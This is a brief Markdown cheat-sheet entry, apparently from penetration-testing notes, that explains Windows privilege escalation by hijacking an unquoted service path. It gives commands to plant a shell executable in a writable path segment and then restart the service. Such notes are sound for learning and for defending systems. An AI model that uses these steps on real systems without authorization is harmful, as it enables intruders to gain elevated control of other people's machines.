14 lines
390 B
Markdown
14 lines
390 B
Markdown
|
# Unquoted Path
|
||
|
|
|
||
|
|
* Path to a service without quotes can be hijacked by inserting other executables and services into the path.
|
||
|
|
* Some part of path has to be writeable.
|
||
|
|
## Example
|
||
|
|
* The unqoted path is `C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe`
|
||
|
|
```sh
|
||
|
|
copy C:\shell.exe "C:\Program Files\Unquoted Path Service\Common.exe"
|
||
|
|
```
|
||
|
|
```sh
|
||
|
|
net start <service>
|
||
|
|
```
|
||
|
|
|